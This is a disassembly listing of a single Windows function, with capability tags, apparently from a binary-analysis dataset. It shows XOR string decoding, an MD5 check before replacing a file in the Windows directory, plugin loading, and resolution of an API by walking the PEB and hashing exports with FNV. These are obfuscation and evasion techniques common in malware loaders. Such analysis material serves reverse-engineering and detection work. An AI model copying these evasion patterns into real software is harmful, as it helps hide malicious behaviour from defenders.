Function at 0x402510
Capabilities:
Access peb ldr_data
Encode data using xor
Get common file path
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407243
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x258
mov eax, dword [0x40b008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movups xmm0, xmmword [str._BCHJ]
mov al, byte [0x408494]
xor edx, edx
mov esi, dword [0x40b6cc]
mov byte [ebp - 0x228], al
mov dword [ebp - 0x1b4], edx
lea edi, [edx + 5]
lea eax, [edx + 0x1f]
movups xmmword [ebp - 0x260], xmm0
movups xmm0, xmmword [0x40846c]
movups xmmword [ebp - 0x250], xmm0
movups xmm0, xmmword [0x40847c]
movups xmmword [ebp - 0x240], xmm0
movq xmm0, qword [0x40848c]
movq qword [ebp - 0x230], xmm0
cmp esi, 2
jl 0x402700
movaps xmm0, xmmword [str.5555555555555555]
movaps xmm4, xmmword [0x4084e0]
movaps xmm3, xmmword [0x408530]
movaps xmm6, xmmword [0x408500]
movaps xmmword [ebp - 0x1d0], xmm0
mov ecx, dword [ebp - 0x1d0]
movd xmm5, edi
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x408510]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x260]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x260], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x408510]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x25c]
xorps xmm1, xmm0
movd dword [ebp + edx - 0x25c], xmm1
add edx, 8
cmp edx, 0x38
jl 0x4025e4
mov dword [ebp - 0x1b4], edx
cmp edx, 0x39
jge 0x40273d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x1b4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x1b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x260], cl
inc edx
mov dword [ebp - 0x1b4], edx
cmp edx, 0x39
jl 0x402700
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00404540
mov dword [ebp - 4], 0
mov eax, dword [0x408400]
movq xmm0, qword [str.bXsZeC]
mov dword [ebp - 0x1c8], eax
mov ax, word [0x408404]
movq qword [ebp - 0x1d0], xmm0
mov word [ebp - 0x1c4], ax
test ah, ah
je 0x4028ed
xor edx, edx
mov dword [ebp - 0x1b4], edx
cmp esi, 2
jl 0x4028b0
movaps xmm2, xmmword [0x4084e0]
mov eax, 0x1f
movaps xmm4, xmmword [0x408530]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, edi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.5555555555555555]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 0x1b4], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x408500]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4084f0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x408510]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.bXsZeC]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x1d0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x408500]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x408510]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x1cc]
xorps xmm1, xmm0
movd dword [ebp - 0x1cc], xmm1
nop dword [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x1b4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x1b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x1d0], cl
inc edx
mov dword [ebp - 0x1b4], edx
cmp edx, 0xe
jl 0x4028b0
lea eax, [ebp - 0x1d0]
push eax
lea ecx, [ebp - 0x180]
call fcn.00404540
lea eax, [ebp - 0x224]
mov byte [ebp - 4], 1
push eax
call fcn.00401260
mov edi, eax
mov byte [ebp - 4], 2
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xb
jb 0x40294c
lea eax, [ecx + 0xb]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x402933
mov eax, dword [edi]
push 0xb
lea esi, [eax + ecx]
push str.BRdDsx.tmp
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xb], 0
jmp 0x40296b
push 0xb
push str.BRdDsx.tmp
mov byte [ebp - 0x1b4], 0
mov ecx, edi
push dword [ebp - 0x1b4]
push 0xb
call fcn.00405260
mov edi, eax
mov dword [ebp - 0x158], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x154], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x168], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x158], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x210]
cmp ecx, 0x10
jb 0x4029f1
mov edx, dword [ebp - 0x224]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4029e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4029e7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00406247
add esp, 8
push 0x104
lea eax, [ebp - 0x120]
mov dword [ebp - 0x214], 0
push eax
mov dword [ebp - 0x210], 0xf
mov byte [ebp - 0x224], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec eax
cmp eax, 0x102
ja 0x402a2e
lea eax, [ebp - 0x120]
jmp 0x402aa2
mov ax, word [0x408394]
xor edx, edx
movq xmm0, qword [str.v_fkoPT_SJM_]
mov word [ebp - 0x1c4], ax
mov al, byte [0x408396]
movq qword [ebp - 0x1cc], xmm0
mov byte [ebp - 0x1c2], al
mov dword [ebp - 0x1b4], edx
nop
mov eax, 0x1f7047dd
mul edx
mov eax, dword [ebp - 0x1b4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x1b4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x1cc], cl
inc edx
mov dword [ebp - 0x1b4], edx
cmp edx, 0xb
jl 0x402a60
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x208]
call fcn.00404540
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x1f4]
mov eax, edx
mov ecx, dword [ebp - 0x1f8]
sub eax, ecx
cmp eax, 1
jb 0x402aee
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x1f8], eax
lea eax, [ebp - 0x208]
cmovae eax, dword [ebp - 0x208]
mov word [eax + ecx], 0x5c
lea eax, [ebp - 0x208]
jmp 0x402b0f
push 1
push 0x408364
mov byte [ebp - 0x1b4], 0
lea ecx, [ebp - 0x208]
push dword [ebp - 0x1b4]
push 1
call fcn.00405260
mov dword [ebp - 0x1e0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1f0], xmm0
mov dword [ebp - 0x1dc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0x10
mov edx, dword [ebp - 0x1e0]
cmovae ecx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x1dc]
mov edi, dword [ebp - 0x170]
sub eax, edx
mov dword [ebp - 0x1b4], edx
push edi
push ecx
cmp edi, eax
ja 0x402bcb
cmp dword [ebp - 0x1dc], 0x10
lea esi, [ebp - 0x1f0]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x1f0]
mov dword [ebp - 0x1e0], eax
lea eax, [esi + edx]
push eax
call sub.VCRUNTIME140.dll_memmove
mov ecx, dword [ebp - 0x1b4]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x1f0]
jmp 0x402be4
mov byte [ebp - 0x1b4], 0
lea ecx, [ebp - 0x1f0]
push dword [ebp - 0x1b4]
push edi
call fcn.00405260
mov dword [ebp - 0x128], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x124], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x128], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x1dc]
cmp ecx, 0x10
jb 0x402c64
mov edx, dword [ebp - 0x1f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402c5a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402caf
push ecx
push edx
call fcn.00406247
add esp, 8
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 0x10
jb 0x402cbf
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402cb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402cb5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00406247
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x1f8], 0
lea eax, [ebp - 0x168]
mov dword [ebp - 0x1d4], esp
mov ecx, esp
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
push eax
call fcn.00404610
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x1b0]
mov ecx, esp
push eax
call fcn.00404610
mov ecx, 0x40b6d4
mov byte [ebp - 4], 9
call fcn.00401440
test al, al
je 0x403014
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x198]
push eax
call fcn.00401db0
lea eax, [ebp - 0x138]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.00401db0
mov byte [ebp - 4], 0xc
mov edx, str.md5_cur:
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00404dd0
cmp dword [ebp - 0x184], 0x10
lea edx, [ebp - 0x198]
push dword [ebp - 0x188]
cmovae edx, dword [ebp - 0x198]
mov ecx, eax
call fcn.004053d0
add esp, 4
mov ecx, eax
push 0x404ff0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.md5_orig:
call fcn.00404dd0
cmp dword [ebp - 0x13c], 0x10
lea edx, [ebp - 0x150]
push dword [ebp - 0x140]
cmovae edx, dword [ebp - 0x150]
mov ecx, eax
call fcn.004053d0
add esp, 4
mov ecx, eax
push 0x404ff0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [ebp - 0x13c], 0x10
lea ecx, [ebp - 0x150]
mov esi, dword [ebp - 0x188]
lea edx, [ebp - 0x198]
cmovae ecx, dword [ebp - 0x150]
cmp dword [ebp - 0x184], 0x10
cmovae edx, dword [ebp - 0x198]
cmp esi, dword [ebp - 0x140]
jne 0x402e57
sub esi, 4
jb 0x402e18
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x402e1d
add edx, 4
add ecx, 4
sub esi, 4
jae 0x402e07
cmp esi, 0xfffffffc
je 0x402e51
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x402e4a
cmp esi, 0xfffffffd
je 0x402e51
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x402e4a
cmp esi, 0xfffffffe
je 0x402e51
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x402e4a
cmp esi, 0xffffffff
je 0x402e51
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x402e51
sbb eax, eax
or eax, 1
jmp 0x402e53
xor eax, eax
test eax, eax
je 0x402e77
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x138]
push eax
call fcn.00402090
push str.replaced_n
call fcn.00401020
add esp, 4
cmp dword [ebp - 0x16c], 0x10
lea eax, [ebp - 0x180]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmovae eax, dword [ebp - 0x180]
push eax
call esi
test eax, eax
je 0x402ebd
push str._plugin.asi
call esi
test eax, eax
je 0x402ebd
push str.Print_Export
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402ebd
call eax
test al, al
jne 0x402f87
cmp dword [ebp - 0x124], 0x10
lea eax, [ebp - 0x138]
cmovae eax, dword [ebp - 0x138]
mov dword [ebp - 0x1d4], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x1d8], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x20c], ecx
cmp ecx, edx
je 0x402f5a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x402f5a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
nop
sub ecx, 4
dec edi
mov dword [ebp - 0x1b4], ecx
mov esi, 0x8e3f14b2
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x402f4d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x402f30
cmp esi, 0x4c134304
je 0x402f5e
mov ecx, dword [ebp - 0x1b4]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x402f10
mov eax, dword [eax]
jmp 0x402ee3
mov esi, dword [ebp - 0x20c]
mov edx, dword [ebp - 0x1d8]
push dword [ebp - 0x1d4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0x10
jb 0x402fbd
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402fb3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403004
push ecx
push edx
call fcn.00406247
add esp, 8
mov ecx, dword [ebp - 0x184]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
cmp ecx, 0x10
jb 0x403014
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40300a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40300a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00406247
add esp, 8
mov ecx, dword [ebp - 0x124]
cmp ecx, 0x10
jb 0x40304e
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403044
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40313b
push ecx
push edx
call fcn.00406247
add esp, 8
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
cmp ecx, 0x10
jb 0x4030a3
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403099
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40313b
push ecx
push edx
call fcn.00406247
add esp, 8
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
cmp ecx, 0x10
jb 0x4030f4
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4030ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40313b
push ecx
push edx
call fcn.00406247
add esp, 8
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], 0
cmp ecx, 0x10
jb 0x40314b
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403141
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403141
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00406247
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00406209
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret